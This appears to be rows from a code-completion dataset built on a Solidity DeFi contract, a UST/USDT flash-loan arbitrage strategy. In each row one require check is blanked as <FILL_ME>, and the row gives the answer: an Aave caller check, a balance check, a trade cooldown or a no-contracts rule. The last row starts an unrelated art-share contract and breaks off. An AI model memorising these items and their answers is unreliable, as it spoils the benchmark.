uint256 constant DIVISION_FACTOR = 100000;
uint256 public lastTradeTime = 0;
uint256 public lastActionBalance = 0; // Balance before last deposit or withdraw
uint256 public maxPoolSize = 3000000e18; // The maximum amount of ust tokens this strategy can hold, 3 mil by default
uint256 public percentTradeTrigger = 10000; // 10% change in value will trigger a trade
uint256 public maxSlippage = 200; // 0.2% max slippage is ok
uint256 public maxPercentSell = 100000; // 100% of the tokens are sold to the cheapest token if slippage is ok
uint256 public maxAmountSell = 100000; // The maximum amount of tokens that can be sold at once
uint256 public percentDepositor = 50000; // 1000 = 1%, depositors earn 50% of all gains
uint256 public percentExecutor = 10000; // 30000 = 30% of WETH goes to executor, 15% of total profit
uint256 public percentStakers = 50000; // 50% of non-depositors WETH goes to stakers, can be changed
uint256 public minTradeSplit = 20000; // If the balance is less than or equal to this, it trades the entire balance
uint256 public maxPercentStipend = 30000; // The maximum amount of WETH profit that can be allocated to the executor for gas in percent
uint256 public gasStipend = 800000; // This is the gas units that are covered by executing a trade taken from the WETH profit
uint256[3] private flashParams; // Global parameters guiding the flash loan setup
uint256 constant minGain = 1e16; // Minimum amount of gain (0.01 coin) before buying WETH and splitting it
// Token information
// This strategy accepts frax and usdc
struct TokenInfo {
IERC20 token; // Reference of token
uint256 decimals; // Decimals of token
}
TokenInfo[] private tokenList; // An array of tokens accepted as deposits
// Strategy specific variables
address constant UNISWAP_ROUTER_ADDRESS = address(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); //Address of Uniswap
address constant CURVE_UST_POOL = address(0x890f4e345B1dAED0367A877a1612f86A1f86985f);
address constant WETH_ADDRESS = address(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2);
address constant GAS_ORACLE_ADDRESS = address(0x169E633A2D1E6c10dD91238Ba11c4A708dfEF37C); // Chainlink address for fast gas oracle
address constant LENDING_POOL_ADDRESS_PROVIDER = address(0xB53C1a33016B2DC2fF3653530bfF1848a515c8c5); // Provider for Aave addresses
constructor(
address _treasury,
address _staking,
address _zsToken
) public {
}
// Initialization functions
function setupWithdrawTokens() internal {
}
// Modifier
modifier onlyZSToken() {
}
// Read functions
function rewardTokensCount() external view returns (uint256) {
}
function rewardTokenAddress(uint256 _pos) external view returns (address) {
}
function balance() public view returns (uint256) {
}
function getNormalizedTotalBalance(address _address) public view returns (uint256) {
}
function withdrawTokenReserves() public view returns (address, uint256) {
}
// Write functions
function enter() external onlyZSToken {
}
function exit() external onlyZSToken {
}
function deposit(bool nonContract) public onlyZSToken {
}
function simulateExchange(address _inputToken, address _outputToken, uint256 _amount, bool _uniswap) internal view returns (uint256) {
}
function exchange(address _inputToken, address _outputToken, uint256 _amount, bool _uniswap) internal {
}
function getCheaperToken() internal view returns (uint256, uint256) {
}
function estimateSellAtMaxSlippage(uint256 originID, uint256 targetID, uint256 _balance) internal view returns (uint256) {
}
function estimateFlashLoanResult(uint256 point1, uint256 point2, uint256 _amount) internal view returns (uint256) {
}
function performFlashLoan(uint256 point1, uint256 point2, uint256 _amount) internal returns (uint256) {
}
function executeOperation(
address[] calldata assets,
uint256[] calldata amounts,
uint256[] calldata premiums,
address initiator,
bytes calldata params
)
external
returns (bool)
{
require(flashParams[0] == 1, "No flash loan authorized on this contract");
address lendingPool = LendingPoolAddressesProvider(LENDING_POOL_ADDRESS_PROVIDER).getLendingPool();
require(<FILL_ME>)
require(initiator == address(this), "Not Authorized"); // Prevent other contracts from calling this function
if(params.length == 0){} // Removes the warning
flashParams[0] = 0; // Prevent a replay;
{
// Create inner scope to prevent stack too deep error
uint256 point1 = flashParams[1];
uint256 point2 = flashParams[2];
uint256 _bal;
// Swap the amounts to earn more
if(point2 > point1){
// USL price is lower than USDT on Uniswap, while higher on Curve
// Use the borrowed USDT to buy USL on Uniswap
_bal = tokenList[0].token.balanceOf(address(this));
exchange(address(tokenList[1].token), address(tokenList[0].token), amounts[0], true); // Receive USL
_bal = tokenList[0].token.balanceOf(address(this)).sub(_bal);
exchange(address(tokenList[0].token), address(tokenList[1].token), _bal, false); // Receive USDT
}else{
// USL price higher than USDT on Uniswap while lower on Curve
_bal = tokenList[0].token.balanceOf(address(this));
exchange(address(tokenList[1].token), address(tokenList[0].token), amounts[0], false); // Receive USL
_bal = tokenList[0].token.balanceOf(address(this)).sub(_bal);
exchange(address(tokenList[0].token), address(tokenList[1].token), _bal, true); // Receive USDT
}
}
// Authorize Aave to pull funds from this contract
// Approve the LendingPool contract allowance to *pull* the owed amount
for(uint256 i = 0; i < assets.length; i++) {
uint256 amountOwing = amounts[i].add(premiums[i]);
IERC20(assets[i]).safeApprove(lendingPool, 0);
IERC20(assets[i]).safeApprove(lendingPool, amountOwing);
}
return true;
}
function getFastGasPrice() internal view returns (uint256) {
}
function checkAndSwapTokens(address _executor) internal {
}
function expectedProfit(bool inWETHForExecutor) external view returns (uint256) {
}
function withdraw(address _depositor, uint256 _share, uint256 _total, bool nonContract) public onlyZSToken returns (uint256) {
}
// This will withdraw the tokens from the contract based on their order
function withdrawPerOrder(address _receiver, uint256 _withdrawAmount, bool _takeAll) internal {
}
function executorSwapTokens(address _executor, uint256 _minSecSinceLastTrade) external {
}
// Governance functions
function governanceSwapTokens() external onlyGovernance {
}
// Timelock variables
uint256 private _timelockStart; // The start of the timelock to change governance variables
uint256 private _timelockType; // The function that needs to be changed
uint256 constant TIMELOCK_DURATION = 86400; // Timelock is 24 hours
// Reusable timelock variables
address private _timelock_address;
uint256[7] private _timelock_data;
modifier timelockConditionsMet(uint256 _type) {
}
// Change the owner of the token contract
// --------------------
function startGovernanceChange(address _address) external onlyGovernance {
}
function finishGovernanceChange() external onlyGovernance timelockConditionsMet(1) {
}
// --------------------
// Change the treasury address
// --------------------
function startChangeTreasury(address _address) external onlyGovernance {
}
function finishChangeTreasury() external onlyGovernance timelockConditionsMet(2) {
}
// --------------------
// Change the staking address
// --------------------
function startChangeStakingPool(address _address) external onlyGovernance {
}
function finishChangeStakingPool() external onlyGovernance timelockConditionsMet(3) {
}
// --------------------
// Change the zsToken address
// --------------------
function startChangeZSToken(address _address) external onlyGovernance {
}
function finishChangeZSToken() external onlyGovernance timelockConditionsMet(4) {
}
// --------------------
// Change the trading conditions used by the strategy
// --------------------
function startChangeTradingConditions(uint256 _pTradeTrigger, uint256 _pSellPercent, uint256 _mSellAmount, uint256 _minSplit, uint256 _maxStipend, uint256 _pMaxStipend, uint256 _pSlip) external onlyGovernance {
}
function finishChangeTradingConditions() external onlyGovernance timelockConditionsMet(5) {
}
// --------------------
// Change the strategy allocations between the parties
// --------------------
function startChangeStrategyAllocations(uint256 _pDepositors, uint256 _pExecutor, uint256 _pStakers, uint256 _maxPool) external onlyGovernance {
}
function finishChangeStrategyAllocations() external onlyGovernance timelockConditionsMet(6) {
}
// --------------------
}
| _msgSender()==lendingPool,"Not called from Aave" | 18,038 | _msgSender()==lendingPool |
"There are no tokens in this strategy" | pragma solidity ^0.6.6;
// This is a strategy that takes advantage of arb opportunities for ust
// Users deposit ust into the strategy and the strategy will sell into usdt when above usdt and usdt into ust when below
// Selling will occur via Uniswap or Curve and buying WETH via Uniswap
// Half the profit earned from the sell will be used to buy WETH and split it between the treasury, executor and staking pool
// Half will remain
// This strategy also uses flash loans to take advantage of opportunities in price inversions between exchanges
// Strategy takes into account 0.2% slippage estimate for large sells
interface StabilizeStakingPool {
function notifyRewardAmount(uint256) external;
}
interface UniswapRouter {
function swapExactETHForTokens(uint, address[] calldata, address, uint) external payable returns (uint[] memory);
function swapExactTokensForTokens(uint, uint, address[] calldata, address, uint) external returns (uint[] memory);
function getAmountsOut(uint, address[] calldata) external view returns (uint[] memory); // For a value in, it calculates value out
}
interface CurvePool {
function get_dy_underlying(int128, int128, uint256) external view returns (uint256); // Get quantity estimate
function exchange_underlying(int128, int128, uint256, uint256) external; // Exchange tokens
}
interface LendingPoolAddressesProvider {
function getLendingPool() external view returns (address);
}
interface LendingPool {
function flashLoan(address, address[] calldata, uint256[] calldata, uint256[] calldata, address, bytes calldata params, uint16) external;
}
interface AggregatorV3Interface {
function latestRoundData() external view returns (uint80 roundId, int256 answer, uint256 startedAt, uint256 updatedAt, uint80 answeredInRound);
}
contract StabilizeStrategyUSTFlashArb is Ownable {
using SafeMath for uint256;
using SafeERC20 for IERC20;
using Address for address;
address public treasuryAddress; // Address of the treasury
address public stakingAddress; // Address to the STBZ staking pool
address public zsTokenAddress; // The address of the controlling zs-Token
uint256 constant DIVISION_FACTOR = 100000;
uint256 public lastTradeTime = 0;
uint256 public lastActionBalance = 0; // Balance before last deposit or withdraw
uint256 public maxPoolSize = 3000000e18; // The maximum amount of ust tokens this strategy can hold, 3 mil by default
uint256 public percentTradeTrigger = 10000; // 10% change in value will trigger a trade
uint256 public maxSlippage = 200; // 0.2% max slippage is ok
uint256 public maxPercentSell = 100000; // 100% of the tokens are sold to the cheapest token if slippage is ok
uint256 public maxAmountSell = 100000; // The maximum amount of tokens that can be sold at once
uint256 public percentDepositor = 50000; // 1000 = 1%, depositors earn 50% of all gains
uint256 public percentExecutor = 10000; // 30000 = 30% of WETH goes to executor, 15% of total profit
uint256 public percentStakers = 50000; // 50% of non-depositors WETH goes to stakers, can be changed
uint256 public minTradeSplit = 20000; // If the balance is less than or equal to this, it trades the entire balance
uint256 public maxPercentStipend = 30000; // The maximum amount of WETH profit that can be allocated to the executor for gas in percent
uint256 public gasStipend = 800000; // This is the gas units that are covered by executing a trade taken from the WETH profit
uint256[3] private flashParams; // Global parameters guiding the flash loan setup
uint256 constant minGain = 1e16; // Minimum amount of gain (0.01 coin) before buying WETH and splitting it
// Token information
// This strategy accepts frax and usdc
struct TokenInfo {
IERC20 token; // Reference of token
uint256 decimals; // Decimals of token
}
TokenInfo[] private tokenList; // An array of tokens accepted as deposits
// Strategy specific variables
address constant UNISWAP_ROUTER_ADDRESS = address(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); //Address of Uniswap
address constant CURVE_UST_POOL = address(0x890f4e345B1dAED0367A877a1612f86A1f86985f);
address constant WETH_ADDRESS = address(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2);
address constant GAS_ORACLE_ADDRESS = address(0x169E633A2D1E6c10dD91238Ba11c4A708dfEF37C); // Chainlink address for fast gas oracle
address constant LENDING_POOL_ADDRESS_PROVIDER = address(0xB53C1a33016B2DC2fF3653530bfF1848a515c8c5); // Provider for Aave addresses
constructor(
address _treasury,
address _staking,
address _zsToken
) public {
}
// Initialization functions
function setupWithdrawTokens() internal {
}
// Modifier
modifier onlyZSToken() {
}
// Read functions
function rewardTokensCount() external view returns (uint256) {
}
function rewardTokenAddress(uint256 _pos) external view returns (address) {
}
function balance() public view returns (uint256) {
}
function getNormalizedTotalBalance(address _address) public view returns (uint256) {
}
function withdrawTokenReserves() public view returns (address, uint256) {
}
// Write functions
function enter() external onlyZSToken {
}
function exit() external onlyZSToken {
}
function deposit(bool nonContract) public onlyZSToken {
}
function simulateExchange(address _inputToken, address _outputToken, uint256 _amount, bool _uniswap) internal view returns (uint256) {
}
function exchange(address _inputToken, address _outputToken, uint256 _amount, bool _uniswap) internal {
}
function getCheaperToken() internal view returns (uint256, uint256) {
}
function estimateSellAtMaxSlippage(uint256 originID, uint256 targetID, uint256 _balance) internal view returns (uint256) {
}
function estimateFlashLoanResult(uint256 point1, uint256 point2, uint256 _amount) internal view returns (uint256) {
}
function performFlashLoan(uint256 point1, uint256 point2, uint256 _amount) internal returns (uint256) {
}
function executeOperation(
address[] calldata assets,
uint256[] calldata amounts,
uint256[] calldata premiums,
address initiator,
bytes calldata params
)
external
returns (bool)
{
}
function getFastGasPrice() internal view returns (uint256) {
}
function checkAndSwapTokens(address _executor) internal {
}
function expectedProfit(bool inWETHForExecutor) external view returns (uint256) {
}
function withdraw(address _depositor, uint256 _share, uint256 _total, bool nonContract) public onlyZSToken returns (uint256) {
require(<FILL_ME>)
if(nonContract == true){
if( _share > _total.mul(percentTradeTrigger).div(DIVISION_FACTOR)){
checkAndSwapTokens(_depositor);
}
}
uint256 withdrawAmount = 0;
uint256 _balance = balance();
if(_share < _total){
uint256 _myBalance = _balance.mul(_share).div(_total);
withdrawPerOrder(_depositor, _myBalance, false); // This will withdraw based on token price
withdrawAmount = _myBalance;
}else{
// We are all shares, transfer all
withdrawPerOrder(_depositor, _balance, true);
withdrawAmount = _balance;
}
lastActionBalance = balance();
return withdrawAmount;
}
// This will withdraw the tokens from the contract based on their order
function withdrawPerOrder(address _receiver, uint256 _withdrawAmount, bool _takeAll) internal {
}
function executorSwapTokens(address _executor, uint256 _minSecSinceLastTrade) external {
}
// Governance functions
function governanceSwapTokens() external onlyGovernance {
}
// Timelock variables
uint256 private _timelockStart; // The start of the timelock to change governance variables
uint256 private _timelockType; // The function that needs to be changed
uint256 constant TIMELOCK_DURATION = 86400; // Timelock is 24 hours
// Reusable timelock variables
address private _timelock_address;
uint256[7] private _timelock_data;
modifier timelockConditionsMet(uint256 _type) {
}
// Change the owner of the token contract
// --------------------
function startGovernanceChange(address _address) external onlyGovernance {
}
function finishGovernanceChange() external onlyGovernance timelockConditionsMet(1) {
}
// --------------------
// Change the treasury address
// --------------------
function startChangeTreasury(address _address) external onlyGovernance {
}
function finishChangeTreasury() external onlyGovernance timelockConditionsMet(2) {
}
// --------------------
// Change the staking address
// --------------------
function startChangeStakingPool(address _address) external onlyGovernance {
}
function finishChangeStakingPool() external onlyGovernance timelockConditionsMet(3) {
}
// --------------------
// Change the zsToken address
// --------------------
function startChangeZSToken(address _address) external onlyGovernance {
}
function finishChangeZSToken() external onlyGovernance timelockConditionsMet(4) {
}
// --------------------
// Change the trading conditions used by the strategy
// --------------------
function startChangeTradingConditions(uint256 _pTradeTrigger, uint256 _pSellPercent, uint256 _mSellAmount, uint256 _minSplit, uint256 _maxStipend, uint256 _pMaxStipend, uint256 _pSlip) external onlyGovernance {
}
function finishChangeTradingConditions() external onlyGovernance timelockConditionsMet(5) {
}
// --------------------
// Change the strategy allocations between the parties
// --------------------
function startChangeStrategyAllocations(uint256 _pDepositors, uint256 _pExecutor, uint256 _pStakers, uint256 _maxPool) external onlyGovernance {
}
function finishChangeStrategyAllocations() external onlyGovernance timelockConditionsMet(6) {
}
// --------------------
}
| balance()>0,"There are no tokens in this strategy" | 18,038 | balance()>0 |
"The last trade was too recent" | pragma solidity ^0.6.6;
// This is a strategy that takes advantage of arb opportunities for ust
// Users deposit ust into the strategy and the strategy will sell into usdt when above usdt and usdt into ust when below
// Selling will occur via Uniswap or Curve and buying WETH via Uniswap
// Half the profit earned from the sell will be used to buy WETH and split it between the treasury, executor and staking pool
// Half will remain
// This strategy also uses flash loans to take advantage of opportunities in price inversions between exchanges
// Strategy takes into account 0.2% slippage estimate for large sells
interface StabilizeStakingPool {
function notifyRewardAmount(uint256) external;
}
interface UniswapRouter {
function swapExactETHForTokens(uint, address[] calldata, address, uint) external payable returns (uint[] memory);
function swapExactTokensForTokens(uint, uint, address[] calldata, address, uint) external returns (uint[] memory);
function getAmountsOut(uint, address[] calldata) external view returns (uint[] memory); // For a value in, it calculates value out
}
interface CurvePool {
function get_dy_underlying(int128, int128, uint256) external view returns (uint256); // Get quantity estimate
function exchange_underlying(int128, int128, uint256, uint256) external; // Exchange tokens
}
interface LendingPoolAddressesProvider {
function getLendingPool() external view returns (address);
}
interface LendingPool {
function flashLoan(address, address[] calldata, uint256[] calldata, uint256[] calldata, address, bytes calldata params, uint16) external;
}
interface AggregatorV3Interface {
function latestRoundData() external view returns (uint80 roundId, int256 answer, uint256 startedAt, uint256 updatedAt, uint80 answeredInRound);
}
contract StabilizeStrategyUSTFlashArb is Ownable {
using SafeMath for uint256;
using SafeERC20 for IERC20;
using Address for address;
address public treasuryAddress; // Address of the treasury
address public stakingAddress; // Address to the STBZ staking pool
address public zsTokenAddress; // The address of the controlling zs-Token
uint256 constant DIVISION_FACTOR = 100000;
uint256 public lastTradeTime = 0;
uint256 public lastActionBalance = 0; // Balance before last deposit or withdraw
uint256 public maxPoolSize = 3000000e18; // The maximum amount of ust tokens this strategy can hold, 3 mil by default
uint256 public percentTradeTrigger = 10000; // 10% change in value will trigger a trade
uint256 public maxSlippage = 200; // 0.2% max slippage is ok
uint256 public maxPercentSell = 100000; // 100% of the tokens are sold to the cheapest token if slippage is ok
uint256 public maxAmountSell = 100000; // The maximum amount of tokens that can be sold at once
uint256 public percentDepositor = 50000; // 1000 = 1%, depositors earn 50% of all gains
uint256 public percentExecutor = 10000; // 30000 = 30% of WETH goes to executor, 15% of total profit
uint256 public percentStakers = 50000; // 50% of non-depositors WETH goes to stakers, can be changed
uint256 public minTradeSplit = 20000; // If the balance is less than or equal to this, it trades the entire balance
uint256 public maxPercentStipend = 30000; // The maximum amount of WETH profit that can be allocated to the executor for gas in percent
uint256 public gasStipend = 800000; // This is the gas units that are covered by executing a trade taken from the WETH profit
uint256[3] private flashParams; // Global parameters guiding the flash loan setup
uint256 constant minGain = 1e16; // Minimum amount of gain (0.01 coin) before buying WETH and splitting it
// Token information
// This strategy accepts frax and usdc
struct TokenInfo {
IERC20 token; // Reference of token
uint256 decimals; // Decimals of token
}
TokenInfo[] private tokenList; // An array of tokens accepted as deposits
// Strategy specific variables
address constant UNISWAP_ROUTER_ADDRESS = address(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); //Address of Uniswap
address constant CURVE_UST_POOL = address(0x890f4e345B1dAED0367A877a1612f86A1f86985f);
address constant WETH_ADDRESS = address(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2);
address constant GAS_ORACLE_ADDRESS = address(0x169E633A2D1E6c10dD91238Ba11c4A708dfEF37C); // Chainlink address for fast gas oracle
address constant LENDING_POOL_ADDRESS_PROVIDER = address(0xB53C1a33016B2DC2fF3653530bfF1848a515c8c5); // Provider for Aave addresses
constructor(
address _treasury,
address _staking,
address _zsToken
) public {
}
// Initialization functions
function setupWithdrawTokens() internal {
}
// Modifier
modifier onlyZSToken() {
}
// Read functions
function rewardTokensCount() external view returns (uint256) {
}
function rewardTokenAddress(uint256 _pos) external view returns (address) {
}
function balance() public view returns (uint256) {
}
function getNormalizedTotalBalance(address _address) public view returns (uint256) {
}
function withdrawTokenReserves() public view returns (address, uint256) {
}
// Write functions
function enter() external onlyZSToken {
}
function exit() external onlyZSToken {
}
function deposit(bool nonContract) public onlyZSToken {
}
function simulateExchange(address _inputToken, address _outputToken, uint256 _amount, bool _uniswap) internal view returns (uint256) {
}
function exchange(address _inputToken, address _outputToken, uint256 _amount, bool _uniswap) internal {
}
function getCheaperToken() internal view returns (uint256, uint256) {
}
function estimateSellAtMaxSlippage(uint256 originID, uint256 targetID, uint256 _balance) internal view returns (uint256) {
}
function estimateFlashLoanResult(uint256 point1, uint256 point2, uint256 _amount) internal view returns (uint256) {
}
function performFlashLoan(uint256 point1, uint256 point2, uint256 _amount) internal returns (uint256) {
}
function executeOperation(
address[] calldata assets,
uint256[] calldata amounts,
uint256[] calldata premiums,
address initiator,
bytes calldata params
)
external
returns (bool)
{
}
function getFastGasPrice() internal view returns (uint256) {
}
function checkAndSwapTokens(address _executor) internal {
}
function expectedProfit(bool inWETHForExecutor) external view returns (uint256) {
}
function withdraw(address _depositor, uint256 _share, uint256 _total, bool nonContract) public onlyZSToken returns (uint256) {
}
// This will withdraw the tokens from the contract based on their order
function withdrawPerOrder(address _receiver, uint256 _withdrawAmount, bool _takeAll) internal {
}
function executorSwapTokens(address _executor, uint256 _minSecSinceLastTrade) external {
// Function designed to promote trading with incentive. Users get 20% of WETH from profitable trades
require(<FILL_ME>)
require(_msgSender() == tx.origin, "Contracts cannot interact with this function");
checkAndSwapTokens(_executor);
lastActionBalance = balance();
}
// Governance functions
function governanceSwapTokens() external onlyGovernance {
}
// Timelock variables
uint256 private _timelockStart; // The start of the timelock to change governance variables
uint256 private _timelockType; // The function that needs to be changed
uint256 constant TIMELOCK_DURATION = 86400; // Timelock is 24 hours
// Reusable timelock variables
address private _timelock_address;
uint256[7] private _timelock_data;
modifier timelockConditionsMet(uint256 _type) {
}
// Change the owner of the token contract
// --------------------
function startGovernanceChange(address _address) external onlyGovernance {
}
function finishGovernanceChange() external onlyGovernance timelockConditionsMet(1) {
}
// --------------------
// Change the treasury address
// --------------------
function startChangeTreasury(address _address) external onlyGovernance {
}
function finishChangeTreasury() external onlyGovernance timelockConditionsMet(2) {
}
// --------------------
// Change the staking address
// --------------------
function startChangeStakingPool(address _address) external onlyGovernance {
}
function finishChangeStakingPool() external onlyGovernance timelockConditionsMet(3) {
}
// --------------------
// Change the zsToken address
// --------------------
function startChangeZSToken(address _address) external onlyGovernance {
}
function finishChangeZSToken() external onlyGovernance timelockConditionsMet(4) {
}
// --------------------
// Change the trading conditions used by the strategy
// --------------------
function startChangeTradingConditions(uint256 _pTradeTrigger, uint256 _pSellPercent, uint256 _mSellAmount, uint256 _minSplit, uint256 _maxStipend, uint256 _pMaxStipend, uint256 _pSlip) external onlyGovernance {
}
function finishChangeTradingConditions() external onlyGovernance timelockConditionsMet(5) {
}
// --------------------
// Change the strategy allocations between the parties
// --------------------
function startChangeStrategyAllocations(uint256 _pDepositors, uint256 _pExecutor, uint256 _pStakers, uint256 _maxPool) external onlyGovernance {
}
function finishChangeStrategyAllocations() external onlyGovernance timelockConditionsMet(6) {
}
// --------------------
}
| now.sub(lastTradeTime)>_minSecSinceLastTrade,"The last trade was too recent" | 18,038 | now.sub(lastTradeTime)>_minSecSinceLastTrade |
"Contracts cannot interact with this function" | pragma solidity ^0.6.6;
// This is a strategy that takes advantage of arb opportunities for ust
// Users deposit ust into the strategy and the strategy will sell into usdt when above usdt and usdt into ust when below
// Selling will occur via Uniswap or Curve and buying WETH via Uniswap
// Half the profit earned from the sell will be used to buy WETH and split it between the treasury, executor and staking pool
// Half will remain
// This strategy also uses flash loans to take advantage of opportunities in price inversions between exchanges
// Strategy takes into account 0.2% slippage estimate for large sells
interface StabilizeStakingPool {
function notifyRewardAmount(uint256) external;
}
interface UniswapRouter {
function swapExactETHForTokens(uint, address[] calldata, address, uint) external payable returns (uint[] memory);
function swapExactTokensForTokens(uint, uint, address[] calldata, address, uint) external returns (uint[] memory);
function getAmountsOut(uint, address[] calldata) external view returns (uint[] memory); // For a value in, it calculates value out
}
interface CurvePool {
function get_dy_underlying(int128, int128, uint256) external view returns (uint256); // Get quantity estimate
function exchange_underlying(int128, int128, uint256, uint256) external; // Exchange tokens
}
interface LendingPoolAddressesProvider {
function getLendingPool() external view returns (address);
}
interface LendingPool {
function flashLoan(address, address[] calldata, uint256[] calldata, uint256[] calldata, address, bytes calldata params, uint16) external;
}
interface AggregatorV3Interface {
function latestRoundData() external view returns (uint80 roundId, int256 answer, uint256 startedAt, uint256 updatedAt, uint80 answeredInRound);
}
contract StabilizeStrategyUSTFlashArb is Ownable {
using SafeMath for uint256;
using SafeERC20 for IERC20;
using Address for address;
address public treasuryAddress; // Address of the treasury
address public stakingAddress; // Address to the STBZ staking pool
address public zsTokenAddress; // The address of the controlling zs-Token
uint256 constant DIVISION_FACTOR = 100000;
uint256 public lastTradeTime = 0;
uint256 public lastActionBalance = 0; // Balance before last deposit or withdraw
uint256 public maxPoolSize = 3000000e18; // The maximum amount of ust tokens this strategy can hold, 3 mil by default
uint256 public percentTradeTrigger = 10000; // 10% change in value will trigger a trade
uint256 public maxSlippage = 200; // 0.2% max slippage is ok
uint256 public maxPercentSell = 100000; // 100% of the tokens are sold to the cheapest token if slippage is ok
uint256 public maxAmountSell = 100000; // The maximum amount of tokens that can be sold at once
uint256 public percentDepositor = 50000; // 1000 = 1%, depositors earn 50% of all gains
uint256 public percentExecutor = 10000; // 30000 = 30% of WETH goes to executor, 15% of total profit
uint256 public percentStakers = 50000; // 50% of non-depositors WETH goes to stakers, can be changed
uint256 public minTradeSplit = 20000; // If the balance is less than or equal to this, it trades the entire balance
uint256 public maxPercentStipend = 30000; // The maximum amount of WETH profit that can be allocated to the executor for gas in percent
uint256 public gasStipend = 800000; // This is the gas units that are covered by executing a trade taken from the WETH profit
uint256[3] private flashParams; // Global parameters guiding the flash loan setup
uint256 constant minGain = 1e16; // Minimum amount of gain (0.01 coin) before buying WETH and splitting it
// Token information
// This strategy accepts frax and usdc
struct TokenInfo {
IERC20 token; // Reference of token
uint256 decimals; // Decimals of token
}
TokenInfo[] private tokenList; // An array of tokens accepted as deposits
// Strategy specific variables
address constant UNISWAP_ROUTER_ADDRESS = address(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); //Address of Uniswap
address constant CURVE_UST_POOL = address(0x890f4e345B1dAED0367A877a1612f86A1f86985f);
address constant WETH_ADDRESS = address(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2);
address constant GAS_ORACLE_ADDRESS = address(0x169E633A2D1E6c10dD91238Ba11c4A708dfEF37C); // Chainlink address for fast gas oracle
address constant LENDING_POOL_ADDRESS_PROVIDER = address(0xB53C1a33016B2DC2fF3653530bfF1848a515c8c5); // Provider for Aave addresses
constructor(
address _treasury,
address _staking,
address _zsToken
) public {
}
// Initialization functions
function setupWithdrawTokens() internal {
}
// Modifier
modifier onlyZSToken() {
}
// Read functions
function rewardTokensCount() external view returns (uint256) {
}
function rewardTokenAddress(uint256 _pos) external view returns (address) {
}
function balance() public view returns (uint256) {
}
function getNormalizedTotalBalance(address _address) public view returns (uint256) {
}
function withdrawTokenReserves() public view returns (address, uint256) {
}
// Write functions
function enter() external onlyZSToken {
}
function exit() external onlyZSToken {
}
function deposit(bool nonContract) public onlyZSToken {
}
function simulateExchange(address _inputToken, address _outputToken, uint256 _amount, bool _uniswap) internal view returns (uint256) {
}
function exchange(address _inputToken, address _outputToken, uint256 _amount, bool _uniswap) internal {
}
function getCheaperToken() internal view returns (uint256, uint256) {
}
function estimateSellAtMaxSlippage(uint256 originID, uint256 targetID, uint256 _balance) internal view returns (uint256) {
}
function estimateFlashLoanResult(uint256 point1, uint256 point2, uint256 _amount) internal view returns (uint256) {
}
function performFlashLoan(uint256 point1, uint256 point2, uint256 _amount) internal returns (uint256) {
}
function executeOperation(
address[] calldata assets,
uint256[] calldata amounts,
uint256[] calldata premiums,
address initiator,
bytes calldata params
)
external
returns (bool)
{
}
function getFastGasPrice() internal view returns (uint256) {
}
function checkAndSwapTokens(address _executor) internal {
}
function expectedProfit(bool inWETHForExecutor) external view returns (uint256) {
}
function withdraw(address _depositor, uint256 _share, uint256 _total, bool nonContract) public onlyZSToken returns (uint256) {
}
// This will withdraw the tokens from the contract based on their order
function withdrawPerOrder(address _receiver, uint256 _withdrawAmount, bool _takeAll) internal {
}
function executorSwapTokens(address _executor, uint256 _minSecSinceLastTrade) external {
// Function designed to promote trading with incentive. Users get 20% of WETH from profitable trades
require(now.sub(lastTradeTime) > _minSecSinceLastTrade, "The last trade was too recent");
require(<FILL_ME>)
checkAndSwapTokens(_executor);
lastActionBalance = balance();
}
// Governance functions
function governanceSwapTokens() external onlyGovernance {
}
// Timelock variables
uint256 private _timelockStart; // The start of the timelock to change governance variables
uint256 private _timelockType; // The function that needs to be changed
uint256 constant TIMELOCK_DURATION = 86400; // Timelock is 24 hours
// Reusable timelock variables
address private _timelock_address;
uint256[7] private _timelock_data;
modifier timelockConditionsMet(uint256 _type) {
}
// Change the owner of the token contract
// --------------------
function startGovernanceChange(address _address) external onlyGovernance {
}
function finishGovernanceChange() external onlyGovernance timelockConditionsMet(1) {
}
// --------------------
// Change the treasury address
// --------------------
function startChangeTreasury(address _address) external onlyGovernance {
}
function finishChangeTreasury() external onlyGovernance timelockConditionsMet(2) {
}
// --------------------
// Change the staking address
// --------------------
function startChangeStakingPool(address _address) external onlyGovernance {
}
function finishChangeStakingPool() external onlyGovernance timelockConditionsMet(3) {
}
// --------------------
// Change the zsToken address
// --------------------
function startChangeZSToken(address _address) external onlyGovernance {
}
function finishChangeZSToken() external onlyGovernance timelockConditionsMet(4) {
}
// --------------------
// Change the trading conditions used by the strategy
// --------------------
function startChangeTradingConditions(uint256 _pTradeTrigger, uint256 _pSellPercent, uint256 _mSellAmount, uint256 _minSplit, uint256 _maxStipend, uint256 _pMaxStipend, uint256 _pSlip) external onlyGovernance {
}
function finishChangeTradingConditions() external onlyGovernance timelockConditionsMet(5) {
}
// --------------------
// Change the strategy allocations between the parties
// --------------------
function startChangeStrategyAllocations(uint256 _pDepositors, uint256 _pExecutor, uint256 _pStakers, uint256 _maxPool) external onlyGovernance {
}
function finishChangeStrategyAllocations() external onlyGovernance timelockConditionsMet(6) {
}
// --------------------
}
| _msgSender()==tx.origin,"Contracts cannot interact with this function" | 18,038 | _msgSender()==tx.origin |
null | pragma solidity ^0.4.18;
//
// LimeEyes
// Decentralized art on the Ethereum blockchain!
// (https://limeeyes.com/)
/*
___ ___
.-'' ''-. .-'' ''-.
.' '. .' '.
/ . - ; - . \ / . - ; - . \
( ' `-._|_,'_,.- ) ( ' `-._|_,'_,.- )
',,.--_,4"-;_ ,' ',,.--_,4"-;_ ,'
'-.; \ _.-' '-.; \ _.-'
''''' '''''
*/
// Welcome to LimeEyes!
//
// This smart contract allows users to purchase shares of any artwork that's
// been added to the system and it will pay dividends to all shareholders
// upon the purchasing of new shares! It's special in the way it works because
// the shares can only be bought in certain amounts and the price of those
// shares is dependant on how many other shares there are already. Each
// artwork starts with 1 share available for purchase and upon each sale,
// the number of shares for purchase will increase by one (1 -> 2 -> 3...),
// each artwork also has an owner and they will always get the dividends from
// the number of shares up for purchase, for example;
/*
If the artwork has had shares purchased 4 times, the next purchase will
be for 5 shares of the artwork. Upon the purchasing of these shares, the
owner will receive the dividends equivelent to 5 shares worth of the sale
value. It's also important to note that the artwork owner cannot purchase
shares of their own art, instead they just inherit the shares for purchase
